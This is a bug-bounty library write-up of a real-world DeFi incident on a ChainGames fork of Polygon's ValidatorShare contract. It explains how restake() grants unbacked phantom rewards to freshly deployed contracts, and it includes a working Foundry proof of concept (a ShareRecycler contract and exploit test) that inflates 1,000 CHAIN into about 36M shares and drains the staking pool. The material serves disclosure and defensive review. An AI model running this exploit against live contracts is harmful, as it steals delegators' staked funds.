# ChainGames: restake() phantom reward inflates shares, drains staking pool

ChainGames ValidatorShare fork: restake() mints unbacked phantom rewards for fresh contracts with zero initialRewardPerShare, inflating 1,000 CHAIN stake into 36M shares and draining the StakeManager pool.

- Payout: Real-world hack
- Severity: critical
- Program: ChainGames
- Analysis by: DeFiHackLabs
- Disclosed: 2026-11-15
- Write-up quality: 9/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-11/ChainGames_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261115-chaingames
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:business-logic vuln:reward-distribution

**Target:** Polygon ValidatorShare fork / StakeManager delegated staking
**Root cause:** restake() credits (rewardPerShare - initialRewardPerShare[address]) * balance; a fresh contract receiving shares by ERC20 transfer keeps initialRewardPerShare at 0 while the validator already carries large accrued rewardPerShare, so restake() mints a phantom reward backed by no new stake.
**Steps:**
1. Fork Polygon one block before drain (block 97338783).
2. Swap 2,000 USDC through Uniswap V3 USDC/CHAIN pool to acquire 1,000 CHAIN honestly.
3. `CHAIN.approve(STAKE_MANAGER, max)` then `VS.buyVoucher(1_000e18, 0)` to get a legitimate 1,000-share voucher.
4. Loop: deploy fresh `ShareRecycler`, `VS.transfer(recycler, balance)`, `recycler.go()` calls `vs.restake()` then transfers whole balance back — each round compounds ~2.96% until shares exceed 36,007,148.
5. `VS.sellVoucher(INCIDENT_DRAIN, inflated)` writes a legacy unbond of the incident amount.
6. `vm.warp(block.timestamp + 2 days)` past withdrawal delay, then `VS.unstakeClaimTokens()` drains 36,007,148.334503496028863428 CHAIN from the pool.
**How found:** Recognized ChainGames runs a Polygon ValidatorShare fork and that restake() computes rewards as (rewardPerShare - initialRewardPerShare[address]) * balance; a fresh contract receiving shares by transfer never initializes initialRewardPerShare, so its first restake() credits the full accrued validator reward as phantom shares.
**Exploitation:** Attacker buys 1,000 CHAIN on the open market, takes a voucher, then recycles the entire share balance through 361 fresh throwaway contracts; each fresh contract has initialRewardPerShare=0 so restake() mints an unbacked reward that compounds the balance. Inflated shares are sold into a legacy unbond, withdrawal delay waited out, and StakeManager.transferFunds pays the full unbond from the shared pool of nine delegators (~$20K).
**Escalation:** Recycling through a new contract each round compounds the balance at a fixed ~2.96% per round with no cap, turning 1,000 CHAIN of real stake into 36M+ shares.
**Insight:** On forked staking/reward contracts, check whether per-address reward baselines (initialRewardPerShare, rewardDebt, accRewardPerShare snapshots) are initialized on ERC20 transfer rather than only on deposit — a fresh receiver with a zero baseline mints the entire accrued reward as new shares, and looping through new contracts compounds it.

## Proof of concept (copied exactly from the original report)

**ShareRecycler contract calling restake then transfer**

```
contract ShareRecycler {
    function go(IValidatorShare vs, address back) external {
        vs.restake();
        vs.transfer(back, vs.balanceOf(address(this)));
    }
}
```

**Exploit test: buy voucher, recycle, sell, claim**

```
function testExploit() public {
        emit log_named_decimal_uint("pool CHAIN before", CHAIN.balanceOf(STAKE_MANAGER), 18);

        // 1) acquire 1,000 CHAIN honestly: swap a non-staked USDC seed through the real V3 pool.
        deal(address(USDC), address(this), 2_000e6);
        USDC.approve(address(ROUTER), type(uint256).max);
        uint256 bought = ROUTER.exactInputSingle(
            IUniV3Router.ExactInputSingleParams(address(USDC), address(CHAIN), 3000, address(this), 2_000e6, 0, 0)
        );
        emit log_named_decimal_uint("CHAIN bought on DEX", bought, 18);
        assertGe(bought, 1_000e18, "DEX did not yield the stake");

        // 2) take a legitimate 1,000 CHAIN voucher (the StakeManager pulls the tokens).
        CHAIN.approve(STAKE_MANAGER, type(uint256).max);
        VS.buyVoucher(1_000e18, 0);
        assertEq(VS.balanceOf(address(this)), 1_000e18, "unexpected starting shares");

        // 3) inflate the stake: recycle the whole balance through a fresh ShareRecycler each round,
        //    each restake() minting an unbacked phantom reward, until it covers the incident drain.
        uint256 rounds;
        while (VS.balanceOf(address(this)) <= INCIDENT_DRAIN && rounds < 500) {
            ShareRecycler r = new ShareRecycler();
            VS.transfer(address(r), VS.balanceOf(address(this)));
            r.go(VS, address(this));
            rounds++;
        }
        uint256 inflated = VS.balanceOf(address(this));
        emit log_named_uint("recycle rounds", rounds);
        emit log_named_decimal_uint("inflated shares", inflated, 18);
        assertGt(inflated, INCIDENT_DRAIN, "inflation fell short of the drain");

        // 4) sell exactly the incident amount into a legacy unbond.
        VS.sellVoucher(INCIDENT_DRAIN, inflated);
        (uint256 unbondShares,) = VS.unbonds(address(this));
        assertEq(unbondShares, INCIDENT_DRAIN, "unbond did not record the drain");

        // 5) clear the withdrawal delay and claim, draining the pool.
        vm.warp(block.timestamp + 2 days);
        uint256 beforeBal = CHAIN.balanceOf(address(this));
        VS.unstakeClaimTokens();
        uint256 drained = CHAIN.balanceOf(address(this)) - beforeBal;

        emit log_named_decimal_uint("CHAIN drained", drained, 18);
        emit log_named_decimal_uint("pool CHAIN after", CHAIN.balanceOf(STAKE_MANAGER), 18);
        assertEq(drained, INCIDENT_DRAIN, "drain did not match the on-chain amount");
    }
```

**Negative control claim reverts without inflation**

```
function testControl_noInflationNoClaim() public {
        vm.prank(address(0xBEEF));
        vm.expectRevert(bytes("Incomplete withdrawal period"));
        VS.unstakeClaimTokens();
    }
```

